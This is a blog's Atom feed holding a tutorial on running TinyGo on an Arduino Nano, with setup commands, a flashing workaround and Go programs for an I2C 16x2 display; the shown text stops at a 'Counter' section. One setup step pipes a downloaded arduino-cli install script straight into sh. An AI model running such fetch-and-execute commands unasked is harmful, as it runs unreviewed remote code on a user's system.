<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Alex Volkov | website</title><link href="https://flamy.ca/" rel="alternate"></link><link href="https://flamy.ca/feeds/all.atom.xml" rel="self"></link><id>https://flamy.ca/</id><updated>2023-10-17T00:00:00-04:00</updated><entry><title>TinyGo intro</title><link href="https://flamy.ca/blog/2023-10-17-tinygo-intro.html" rel="alternate"></link><published>2023-10-17T00:00:00-04:00</published><updated>2023-10-17T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2023-10-17:/blog/2023-10-17-tinygo-intro.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; 2023-11-25. I got some technical feedback in this &lt;a class="reference external" href="https://floss.social/&amp;#64;avolkov/111248534184702567"&gt;mastodon thread&lt;/a&gt;, so I updated my post based on it.&lt;/p&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;I went through a Go tutorial back in February and discovered the TinyGo project, which supports running a subset of Go on microcontrollers. It's similar to MicroPython, but this project …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; 2023-11-25. I got some technical feedback in this &lt;a class="reference external" href="https://floss.social/&amp;#64;avolkov/111248534184702567"&gt;mastodon thread&lt;/a&gt;, so I updated my post based on it.&lt;/p&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;I went through a Go tutorial back in February and discovered the TinyGo project, which supports running a subset of Go on microcontrollers. It's similar to MicroPython, but this project appears to support a wider variety of hardware, including the Arduino Nano, which I have.&lt;/p&gt;
&lt;p&gt;In this article I'll describe how to set up TinyGo build environment for Arduino Nano on Debian 11.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="getting-started"&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;I followed these articles about getting started with Go and reference pinout on Arduino nano&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://tinygo.org/getting-started/install/linux/"&gt;Getting started&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://tinygo.org/docs/reference/microcontrollers/arduino-nano/"&gt;Arduino nano support&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the host system, the setup involves installing the TinyGo and Avrdude packages:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;wget https://github.com/tinygo-org/tinygo/releases/download/v0.30.0/tinygo_0.30.0_amd64.deb
&lt;span class="gp"&gt;$ &lt;/span&gt;sudo apt install -y ./tinygo_0.30.0_amd64.deb
&lt;span class="gp"&gt;$ &lt;/span&gt;sudo apt install -y avrdude
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To test the toolchain I tried running the &amp;quot;hello world&amp;quot; of embedded systems -- blinking an onboard LED (&lt;a class="reference external" href="https://github.com/solarwinds/tinygo-lessons/blob/master/lesson0/main.go"&gt;Tinygo Lesson 0&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Unfortunately, I encountered a few issues when trying to use the &lt;code&gt;tinygo flash&lt;/code&gt; subcommand, resulting in this error:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;tinygo flash -target&lt;span class="o"&gt;=&lt;/span&gt;arduino-nano main.go
&lt;span class="go"&gt;avrdude: stk500_recv(): programmer is not responding&lt;/span&gt;
&lt;span class="go"&gt;avrdude: stk500_getsync() attempt 1 of 10: not in sync: resp=0x00&lt;/span&gt;
&lt;span class="go"&gt;avrdude: stk500_recv(): programmer is not responding&lt;/span&gt;
&lt;span class="go"&gt;avrdude: stk500_getsync() attempt 2 of 10: not in sync: resp=0x00&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It appears there are some problems with code integration under the hood, so I tried running individual steps for building and uploading. To manually run the upload step, I had to install &lt;a class="reference external" href="https://arduino.github.io/arduino-cli/0.21/installation/"&gt;arduino-cli&lt;/a&gt; using the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;curl -fsSL &lt;span class="se"&gt;\&lt;/span&gt;
    https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="p"&gt;|&lt;/span&gt; sh
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I tried again, this time using &lt;code&gt;tinygo build&lt;/code&gt; followed by &lt;code&gt;arduino-cli upload&lt;/code&gt;. This sequence of commands triggered a code path that detects and installs any missing Arduino dependencies.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;tinygo build -scheduler&lt;span class="o"&gt;=&lt;/span&gt;tasks -target&lt;span class="o"&gt;=&lt;/span&gt;arduino -o test.hex ./main.go
&lt;span class="gp"&gt;$ &lt;/span&gt;arduino-cli upload -b arduino:avr:nano -p /dev/ttyUSB0  -i test.hex .
&lt;span class="go"&gt;Downloading missing tool builtin:ctags@5.8-arduino11...&lt;/span&gt;
&lt;span class="go"&gt;builtin:ctags@5.8-arduino11 downloaded&lt;/span&gt;
&lt;span class="go"&gt;Installing builtin:ctags@5.8-arduino11...&lt;/span&gt;
&lt;span class="go"&gt;Skipping tool configuration....&lt;/span&gt;
&lt;span class="go"&gt;builtin:ctags@5.8-arduino11 installed&lt;/span&gt;
&lt;span class="go"&gt;Downloading missing tool builtin:serial-discovery@1.4.0...&lt;/span&gt;
&lt;span class="go"&gt;builtin:serial-discovery@1.4.0 downloaded&lt;/span&gt;
&lt;span class="go"&gt;Installing builtin:serial-discovery@1.4.0...&lt;/span&gt;
&lt;span class="go"&gt;Skipping tool configuration....&lt;/span&gt;
&lt;span class="go"&gt;builtin:serial-discovery@1.4.0 installed&lt;/span&gt;
&lt;span class="go"&gt;Downloading missing tool builtin:mdns-discovery@1.0.8...&lt;/span&gt;
&lt;span class="go"&gt;builtin:mdns-discovery@1.0.8 downloaded&lt;/span&gt;
&lt;span class="go"&gt;Installing builtin:mdns-discovery@1.0.8...&lt;/span&gt;
&lt;span class="go"&gt;Skipping tool configuration....&lt;/span&gt;
&lt;span class="go"&gt;builtin:mdns-discovery@1.0.8 installed&lt;/span&gt;
&lt;span class="go"&gt;Downloading missing tool builtin:serial-monitor@0.13.0...&lt;/span&gt;
&lt;span class="go"&gt;builtin:serial-monitor@0.13.0 downloaded&lt;/span&gt;
&lt;span class="go"&gt;Installing builtin:serial-monitor@0.13.0...&lt;/span&gt;
&lt;span class="go"&gt;Skipping tool configuration....&lt;/span&gt;
&lt;span class="go"&gt;builtin:serial-monitor@0.13.0 installed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Although this didn't fix the original error caused by running &lt;code&gt;tinygo flash&lt;/code&gt;, it brought me closer to a solution. Later on, I found an issue describing a workaround in &lt;a class="reference external" href="https://github.com/tinygo-org/tinygo/issues/1580"&gt;Issue #1580 of TinyGo project&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;tinygo build -scheduler&lt;span class="o"&gt;=&lt;/span&gt;tasks -target&lt;span class="o"&gt;=&lt;/span&gt;arduino-nano-new -o test.hex ./main.go
&lt;span class="gp"&gt;$ &lt;/span&gt;arduino-cli upload -b arduino:avr:nano -p /dev/ttyUSB0  -i test.hex .
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Where &lt;code&gt;/dev/ttyUSB0&lt;/code&gt; is the port used by Arduino Nano. Sometimes the board jumps between &lt;code&gt;/dev/ttyUSB0&lt;/code&gt; and &lt;code&gt;/dev/ttyUSB1&lt;/code&gt; when being repeatedly reconnected.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="display"&gt;
&lt;h2&gt;1602 display&lt;/h2&gt;
&lt;p&gt;I also happened to have a 1602 display and TinyGo happened to have a library for it. So I ran a few sample programs that use the display.&lt;/p&gt;
&lt;div class="section" id="hello-world"&gt;
&lt;h3&gt;Hello, World&lt;/h3&gt;
&lt;p&gt;Now that I could upload code to the board, I followed the &lt;a class="reference external" href="https://subscription.packtpub.com/book/iot-and-hardware/9781800560208/6/ch06lvl1sec51/displaying-text-on-an-hd44780-16x2-lcd-display"&gt;Displaying text on an HD44780 16x2 display&lt;/a&gt; tutorial for connecting the display over I2C and used the &lt;a class="reference external" href="https://pkg.go.dev/tinygo.org/x/drivers/hd44780i2c"&gt;tinygo hd44780i2c&lt;/a&gt; drivers.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;machine&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;tinygo.org/x/drivers/hd44780i2c&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2CConfig&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Config&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; Hello, world\n LCD 16x02&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Additional external dependencies are required to run the application. The command to download the dependencies is &lt;code&gt;go mod init .&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Everything worked, &amp;quot;Hello, World&amp;quot;  displayed on the screen.&lt;/p&gt;
&lt;img alt="Hello world on 16x2 line controller" class="align-center" src="/images/2023-04-03/P1300356.JPG" /&gt;
&lt;p&gt;Here's the same message with visible wiring for HD44780 16x2 display.&lt;/p&gt;
&lt;img alt="Reference wiring for the controller." class="align-center" src="/images/2023-04-03/IMG_3105.JPG" /&gt;
&lt;/div&gt;
&lt;div class="section" id="spinner"&gt;
&lt;h3&gt;Spinner&lt;/h3&gt;
&lt;p&gt;Then I used another sample program for the screen, a spinner.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;machine&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;strconv&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;time&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;tinygo.org/x/drivers/hd44780i2c&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;write_progress_spinner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;spinner_pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;|/-\\&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;spinner_pos&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;spinner_pos&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;])))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2CConfig&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Frequency&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TWI_FREQ_400KHZ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Config&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Counting: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// only goes to 512&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Millisecond&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FormatUint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;uint64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FormatUint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;uint64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;write_progress_spinner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;One issue I encountered, as the error displayed in the image below -- this supposed to be a backslash symbol. I tried different escape sequences for the backslash, but none of them worked.&lt;/p&gt;
&lt;p&gt;It could be that the snippet above has bugs in it, or there have been issues reported with the combination of LLVM implementation for the Go compiler and Arduino Nano. The TinyGo project recommends using Raspberry Pico.&lt;/p&gt;
&lt;img alt="Backslash display error" class="align-center" src="/images/2023-04-03/P1300363.JPG" /&gt;
&lt;/div&gt;
&lt;div class="section" id="counter"&gt;
&lt;h3&gt;Counter&lt;/h3&gt;
&lt;p&gt;Another example program I've tried is counter, just counting up the numbers. Here's source code:&lt;/p&gt;
